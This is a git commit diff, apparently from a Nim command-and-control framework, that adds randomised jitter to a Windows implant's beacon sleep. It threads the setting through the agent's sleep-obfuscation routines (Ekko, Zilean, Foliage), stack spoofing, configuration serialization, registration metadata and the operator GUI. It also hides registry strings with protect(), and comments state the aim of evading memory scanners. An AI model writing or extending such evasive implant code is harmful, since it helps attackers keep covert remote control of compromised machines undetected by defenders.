Implemented jitter.
This commit is contained in:
@@ -15,6 +15,7 @@ port = 37573
|
|||||||
# General agent settings
|
# General agent settings
|
||||||
[agent]
|
[agent]
|
||||||
sleep = 5
|
sleep = 5
|
||||||
|
jitter = 15
|
||||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
|
|||||||
@@ -29,9 +29,12 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
|||||||
agentId: generateUUID(),
|
agentId: generateUUID(),
|
||||||
listenerId: Uuid.toString(unpacker.getUint32()),
|
listenerId: Uuid.toString(unpacker.getUint32()),
|
||||||
hosts: unpacker.getDataWithLengthPrefix(),
|
hosts: unpacker.getDataWithLengthPrefix(),
|
||||||
sleep: int(unpacker.getUint32()),
|
sleepSettings: SleepSettings(
|
||||||
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
sleepDelay: unpacker.getUint32(),
|
||||||
spoofStack: cast[bool](unpacker.getUint8()),
|
jitter: unpacker.getUint32(),
|
||||||
|
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
||||||
|
spoofStack: cast[bool](unpacker.getUint8())
|
||||||
|
),
|
||||||
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
||||||
agentPublicKey: agentKeyPair.publicKey,
|
agentPublicKey: agentKeyPair.publicKey,
|
||||||
profile: parseString(unpacker.getDataWithLengthPrefix())
|
profile: parseString(unpacker.getDataWithLengthPrefix())
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import winim/inc/tlhelp32
|
import winim/inc/tlhelp32
|
||||||
import os, system, strformat
|
import os, system, strformat, random
|
||||||
|
|
||||||
import ./[cfg, io]
|
import ./[cfg, io]
|
||||||
import ../../common/[types, utils, crypto]
|
import ../../common/[types, utils, crypto]
|
||||||
@@ -572,15 +572,21 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
|||||||
print "[-] ", err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
# Sleep obfuscation implemented in various techniques
|
# Sleep obfuscation implemented in various techniques
|
||||||
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
proc sleepObfuscate*(sleepSettings: SleepSettings) =
|
||||||
|
|
||||||
if sleepDelay == 0:
|
if sleepSettings.sleepDelay == 0:
|
||||||
return
|
return
|
||||||
|
|
||||||
# Initialize required API functions
|
# Initialize required API functions
|
||||||
let apis = initApis()
|
let apis = initApis()
|
||||||
|
|
||||||
print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
|
# Calculate actual sleep delay with jitter
|
||||||
|
let
|
||||||
|
minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
|
||||||
|
maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
|
||||||
|
delay = int(rand(minDelay .. maxDelay) * 1000)
|
||||||
|
|
||||||
|
print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}"
|
||||||
|
|
||||||
var img: USTRING = USTRING(Length: 0)
|
var img: USTRING = USTRING(Length: 0)
|
||||||
var key: USTRING = USTRING(Length: 0)
|
var key: USTRING = USTRING(Length: 0)
|
||||||
@@ -600,12 +606,12 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
|
|||||||
key.Length = cast[DWORD](keyBuffer.len())
|
key.Length = cast[DWORD](keyBuffer.len())
|
||||||
|
|
||||||
# Execute sleep obfuscation technique
|
# Execute sleep obfuscation technique
|
||||||
case technique:
|
case sleepSettings.sleepTechnique:
|
||||||
of EKKO:
|
of EKKO:
|
||||||
sleepEkko(apis, key, img, sleepDelay, spoofStack)
|
sleepEkko(apis, key, img, delay, sleepSettings.spoofStack)
|
||||||
of ZILEAN:
|
of ZILEAN:
|
||||||
sleepZilean(apis, key, img, sleepDelay, spoofStack)
|
sleepZilean(apis, key, img, delay, sleepSettings.spoofStack)
|
||||||
of FOLIAGE:
|
of FOLIAGE:
|
||||||
sleepFoliage(apis, key, img, sleepDelay)
|
sleepFoliage(apis, key, img, delay)
|
||||||
of NONE:
|
of NONE:
|
||||||
sleep(sleepDelay)
|
sleep(delay)
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ proc main() =
|
|||||||
]#
|
]#
|
||||||
while true:
|
while true:
|
||||||
# Sleep obfuscation to evade memory scanners
|
# Sleep obfuscation to evade memory scanners
|
||||||
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
sleepObfuscate(ctx.sleepSettings)
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
print "\n", fmt"[*] [{date}] Checking in."
|
print "\n", fmt"[*] [{date}] Checking in."
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="511"
|
-d:MODULES="511"
|
||||||
-d:VERBOSE="false"
|
-d:VERBOSE="true"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -164,11 +164,11 @@ proc getProductType(): ProductType =
|
|||||||
|
|
||||||
# Using the 'registry' module, we can get the exact registry value
|
# Using the 'registry' module, we can get the exact registry value
|
||||||
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
|
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
|
||||||
of "WinNT":
|
of protect("WinNT"):
|
||||||
return WORKSTATION
|
return WORKSTATION
|
||||||
of "ServerNT":
|
of protect("ServerNT"):
|
||||||
return SERVER
|
return SERVER
|
||||||
of "LanmanNT":
|
of protect("LanmanNT"):
|
||||||
return DC
|
return DC
|
||||||
|
|
||||||
proc getOSVersion(): string =
|
proc getOSVersion(): string =
|
||||||
@@ -218,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
|||||||
process: string.toBytes(getProcessExe()),
|
process: string.toBytes(getProcessExe()),
|
||||||
pid: cast[uint32](getProcessId()),
|
pid: cast[uint32](getProcessId()),
|
||||||
isElevated: cast[uint8](isElevated()),
|
isElevated: cast[uint8](isElevated()),
|
||||||
sleep: cast[uint32](ctx.sleep),
|
sleep: cast[uint32](ctx.sleepSettings.sleepDelay),
|
||||||
|
jitter: cast[uint32](ctx.sleepSettings.jitter),
|
||||||
modules: cast[uint32](MODULES)
|
modules: cast[uint32](MODULES)
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
@@ -239,6 +240,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
|
|||||||
.add(data.metadata.pid)
|
.add(data.metadata.pid)
|
||||||
.add(data.metadata.isElevated)
|
.add(data.metadata.isElevated)
|
||||||
.add(data.metadata.sleep)
|
.add(data.metadata.sleep)
|
||||||
|
.add(data.metadata.jitter)
|
||||||
.add(data.metadata.modules)
|
.add(data.metadata.modules)
|
||||||
|
|
||||||
let metadata = packer.pack()
|
let metadata = packer.pack()
|
||||||
|
|||||||
@@ -38,14 +38,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
|
|||||||
let event = Event(
|
let event = Event(
|
||||||
eventType: CLIENT_AGENT_BUILD,
|
eventType: CLIENT_AGENT_BUILD,
|
||||||
timestamp: now().toTime().toUnix(),
|
timestamp: now().toTime().toUnix(),
|
||||||
data: %*{
|
data: %buildInformation
|
||||||
"listenerId": buildInformation.listenerId,
|
|
||||||
"sleepDelay": buildInformation.sleepDelay,
|
|
||||||
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
|
|
||||||
"spoofStack": buildInformation.spoofStack,
|
|
||||||
"verbose": buildInformation.verbose,
|
|
||||||
"modules": buildInformation.modules
|
|
||||||
}
|
|
||||||
)
|
)
|
||||||
connection.ws.sendEvent(event, connection.sessionKey)
|
connection.ws.sendEvent(event, connection.sessionKey)
|
||||||
|
|
||||||
|
|||||||
@@ -149,7 +149,7 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} =
|
|||||||
proc displayHelp(component: ConsoleComponent) =
|
proc displayHelp(component: ConsoleComponent) =
|
||||||
for module in getModules(component.agent.modules):
|
for module in getModules(component.agent.modules):
|
||||||
for cmd in module.commands:
|
for cmd in module.commands:
|
||||||
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
|
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description)
|
||||||
|
|
||||||
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
||||||
var usage = command.name & " " & command.arguments.mapIt(
|
var usage = command.name & " " & command.arguments.mapIt(
|
||||||
|
|||||||
@@ -9,7 +9,8 @@ export addItem
|
|||||||
type
|
type
|
||||||
AgentModalComponent* = ref object of RootObj
|
AgentModalComponent* = ref object of RootObj
|
||||||
listener: int32
|
listener: int32
|
||||||
sleepDelay: uint32
|
sleepDelay: uint32
|
||||||
|
jitter: int32
|
||||||
sleepMask: int32
|
sleepMask: int32
|
||||||
spoofStack: bool
|
spoofStack: bool
|
||||||
verbose: bool
|
verbose: bool
|
||||||
@@ -22,6 +23,7 @@ proc AgentModal*(): AgentModalComponent =
|
|||||||
result = new AgentModalComponent
|
result = new AgentModalComponent
|
||||||
result.listener = 0
|
result.listener = 0
|
||||||
result.sleepDelay = 5
|
result.sleepDelay = 5
|
||||||
|
result.jitter = 15
|
||||||
result.sleepMask = 0
|
result.sleepMask = 0
|
||||||
result.spoofStack = false
|
result.spoofStack = false
|
||||||
result.verbose = false
|
result.verbose = false
|
||||||
@@ -45,6 +47,7 @@ proc AgentModal*(): AgentModalComponent =
|
|||||||
proc resetModalValues*(component: AgentModalComponent) =
|
proc resetModalValues*(component: AgentModalComponent) =
|
||||||
component.listener = 0
|
component.listener = 0
|
||||||
component.sleepDelay = 5
|
component.sleepDelay = 5
|
||||||
|
component.jitter = 15
|
||||||
component.sleepMask = 0
|
component.sleepMask = 0
|
||||||
component.spoofStack = false
|
component.spoofStack = false
|
||||||
component.verbose = false
|
component.verbose = false
|
||||||
@@ -86,6 +89,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
igSetNextItemWidth(availableSize.x)
|
igSetNextItemWidth(availableSize.x)
|
||||||
igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
||||||
|
|
||||||
|
# Jitter
|
||||||
|
igText("Jitter: ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
igSliderInt("##InputJitter", addr component.jitter, 0, 100, "%d%%", ImGui_SliderFlags_None.int32)
|
||||||
|
|
||||||
# Agent sleep obfuscation technique dropdown selection
|
# Agent sleep obfuscation technique dropdown selection
|
||||||
igText("Sleep mask: ")
|
igText("Sleep mask: ")
|
||||||
igSameLine(0.0f, textSpacing)
|
igSameLine(0.0f, textSpacing)
|
||||||
@@ -145,9 +154,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
|
|
||||||
result = AgentBuildInformation(
|
result = AgentBuildInformation(
|
||||||
listenerId: listeners[component.listener].listenerId,
|
listenerId: listeners[component.listener].listenerId,
|
||||||
sleepDelay: component.sleepDelay,
|
sleepSettings: SleepSettings(
|
||||||
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
|
sleepDelay: component.sleepDelay,
|
||||||
spoofStack: component.spoofStack,
|
jitter: cast[uint32](component.jitter),
|
||||||
|
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
|
||||||
|
spoofStack: component.spoofStack
|
||||||
|
),
|
||||||
verbose: component.verbose,
|
verbose: component.verbose,
|
||||||
modules: modules
|
modules: modules
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -185,6 +185,7 @@ type
|
|||||||
pid*: uint32
|
pid*: uint32
|
||||||
isElevated*: uint8
|
isElevated*: uint8
|
||||||
sleep*: uint32
|
sleep*: uint32
|
||||||
|
jitter*: uint32
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
|
|
||||||
AgentRegistrationData* = object
|
AgentRegistrationData* = object
|
||||||
@@ -208,6 +209,7 @@ type
|
|||||||
pid*: int
|
pid*: int
|
||||||
elevated*: bool
|
elevated*: bool
|
||||||
sleep*: int
|
sleep*: int
|
||||||
|
jitter*: int
|
||||||
tasks*: seq[Task]
|
tasks*: seq[Task]
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
firstCheckin*: int64
|
firstCheckin*: int64
|
||||||
@@ -229,6 +231,7 @@ type
|
|||||||
pid*: int
|
pid*: int
|
||||||
elevated*: bool
|
elevated*: bool
|
||||||
sleep*: int
|
sleep*: int
|
||||||
|
jitter*: int
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
firstCheckin*: int64
|
firstCheckin*: int64
|
||||||
latestCheckin*: int64
|
latestCheckin*: int64
|
||||||
@@ -312,13 +315,17 @@ type
|
|||||||
profile*: Profile
|
profile*: Profile
|
||||||
client*: WsConnection
|
client*: WsConnection
|
||||||
|
|
||||||
|
SleepSettings* = ref object
|
||||||
|
sleepDelay*: uint32
|
||||||
|
jitter*: uint32
|
||||||
|
sleepTechnique*: SleepObfuscationTechnique
|
||||||
|
spoofStack*: bool
|
||||||
|
|
||||||
AgentCtx* = ref object
|
AgentCtx* = ref object
|
||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
hosts*: string
|
hosts*: string
|
||||||
sleep*: int
|
sleepSettings*: SleepSettings
|
||||||
sleepTechnique*: SleepObfuscationTechnique
|
|
||||||
spoofStack*: bool
|
|
||||||
sessionKey*: Key
|
sessionKey*: Key
|
||||||
agentPublicKey*: Key
|
agentPublicKey*: Key
|
||||||
profile*: Profile
|
profile*: Profile
|
||||||
@@ -357,10 +364,8 @@ type
|
|||||||
items*: seq[ConsoleItem]
|
items*: seq[ConsoleItem]
|
||||||
|
|
||||||
AgentBuildInformation* = ref object
|
AgentBuildInformation* = ref object
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
sleepDelay*: uint32
|
sleepSettings*: SleepSettings
|
||||||
sleepTechnique*: SleepObfuscationTechnique
|
|
||||||
spoofStack*: bool
|
|
||||||
verbose*: bool
|
verbose*: bool
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
|
|
||||||
|
|||||||
@@ -50,11 +50,11 @@ when defined(agent):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
# Parse task parameter
|
# Parse task parameter
|
||||||
let delay = int(Bytes.toUint32(task.args[0].data))
|
let delay = Bytes.toUint32(task.args[0].data)
|
||||||
|
|
||||||
# Updating sleep in agent context
|
# Updating sleep in agent context
|
||||||
print fmt" [>] Setting sleep delay to {delay} seconds."
|
print fmt" [>] Setting sleep delay to {delay} seconds."
|
||||||
ctx.sleep = delay
|
ctx.sleepSettings.sleepDelay = delay
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
@@ -69,21 +69,21 @@ when defined(agent):
|
|||||||
case int(task.argCount):
|
case int(task.argCount):
|
||||||
of 0:
|
of 0:
|
||||||
# Retrieve sleepmask settings
|
# Retrieve sleepmask settings
|
||||||
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}"
|
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}, Stack spoofing: {$ctx.sleepSettings.spoofStack}"
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
|
||||||
|
|
||||||
of 1:
|
of 1:
|
||||||
# Only set the sleepmask technique
|
# Only set the sleepmask technique
|
||||||
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
|
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
|
||||||
ctx.sleepTechnique = technique
|
ctx.sleepSettings.sleepTechnique = technique
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Set sleepmask technique and stack-spoofing configuration
|
# Set sleepmask technique and stack-spoofing configuration
|
||||||
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
|
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
|
||||||
ctx.sleepTechnique = technique
|
ctx.sleepSettings.sleepTechnique = technique
|
||||||
|
|
||||||
let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte
|
let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte
|
||||||
ctx.spoofStack = spoofStack
|
ctx.sleepSettings.spoofStack = spoofStack
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto]
|
|||||||
|
|
||||||
const PLACEHOLDER = "PLACEHOLDER"
|
const PLACEHOLDER = "PLACEHOLDER"
|
||||||
|
|
||||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] =
|
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] =
|
||||||
|
|
||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
@@ -19,9 +19,10 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
|
|||||||
packer.addDataWithLengthPrefix(string.toBytes(listener.hosts))
|
packer.addDataWithLengthPrefix(string.toBytes(listener.hosts))
|
||||||
|
|
||||||
# Sleep settings
|
# Sleep settings
|
||||||
packer.add(uint32(sleep))
|
packer.add(sleepSettings.sleepDelay)
|
||||||
packer.add(uint8(sleepTechnique))
|
packer.add(sleepSettings.jitter)
|
||||||
packer.add(uint8(spoofStack))
|
packer.add(uint8(sleepSettings.sleepTechnique))
|
||||||
|
packer.add(uint8(sleepSettings.spoofStack))
|
||||||
|
|
||||||
# Public key for key exchange
|
# Public key for key exchange
|
||||||
packer.addData(cq.keyPair.publicKey)
|
packer.addData(cq.keyPair.publicKey)
|
||||||
@@ -147,18 +148,18 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se
|
|||||||
return @[]
|
return @[]
|
||||||
|
|
||||||
# Agent generation
|
# Agent generation
|
||||||
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] =
|
proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): seq[byte] =
|
||||||
|
|
||||||
# Verify that listener exists
|
# Verify that listener exists
|
||||||
if not cq.dbListenerExists(listenerId.toUpperAscii):
|
if not cq.dbListenerExists(agentBuildInformation.listenerId):
|
||||||
cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.")
|
cq.error(fmt"Listener {agentBuildInformation.listenerId} does not exist.")
|
||||||
return
|
return
|
||||||
|
|
||||||
let listener = cq.listeners[listenerId.toUpperAscii]
|
let listener = cq.listeners[agentBuildInformation.listenerId]
|
||||||
|
|
||||||
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
|
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings)
|
||||||
|
|
||||||
let unpatchedExePath = cq.compile(config.len, modules, verbose)
|
let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
|
||||||
if unpatchedExePath.isEmptyOrWhitespace():
|
if unpatchedExePath.isEmptyOrWhitespace():
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|||||||
@@ -108,6 +108,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
|
|||||||
pid = unpacker.getUint32()
|
pid = unpacker.getUint32()
|
||||||
isElevated = unpacker.getUint8()
|
isElevated = unpacker.getUint8()
|
||||||
sleep = unpacker.getUint32()
|
sleep = unpacker.getUint32()
|
||||||
|
jitter = unpacker.getUint32()
|
||||||
modules = unpacker.getUint32()
|
modules = unpacker.getUint32()
|
||||||
|
|
||||||
return Agent(
|
return Agent(
|
||||||
@@ -124,6 +125,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
|
|||||||
pid: int(pid),
|
pid: int(pid),
|
||||||
elevated: isElevated != 0,
|
elevated: isElevated != 0,
|
||||||
sleep: int(sleep),
|
sleep: int(sleep),
|
||||||
|
jitter: int(jitter),
|
||||||
modules: modules,
|
modules: modules,
|
||||||
tasks: @[],
|
tasks: @[],
|
||||||
firstCheckin: now().toTime().toUnix(),
|
firstCheckin: now().toTime().toUnix(),
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ proc `%`*(agent: Agent): JsonNode =
|
|||||||
result["pid"] = %agent.pid
|
result["pid"] = %agent.pid
|
||||||
result["elevated"] = %agent.elevated
|
result["elevated"] = %agent.elevated
|
||||||
result["sleep"] = %agent.sleep
|
result["sleep"] = %agent.sleep
|
||||||
|
result["jitter"] = %agent.jitter
|
||||||
result["modules"] = %agent.modules
|
result["modules"] = %agent.modules
|
||||||
result["firstCheckin"] = %agent.firstCheckin
|
result["firstCheckin"] = %agent.firstCheckin
|
||||||
result["latestCheckin"] = %agent.latestCheckin
|
result["latestCheckin"] = %agent.latestCheckin
|
||||||
|
|||||||
@@ -36,6 +36,7 @@ proc dbInit*(cq: Conquest) =
|
|||||||
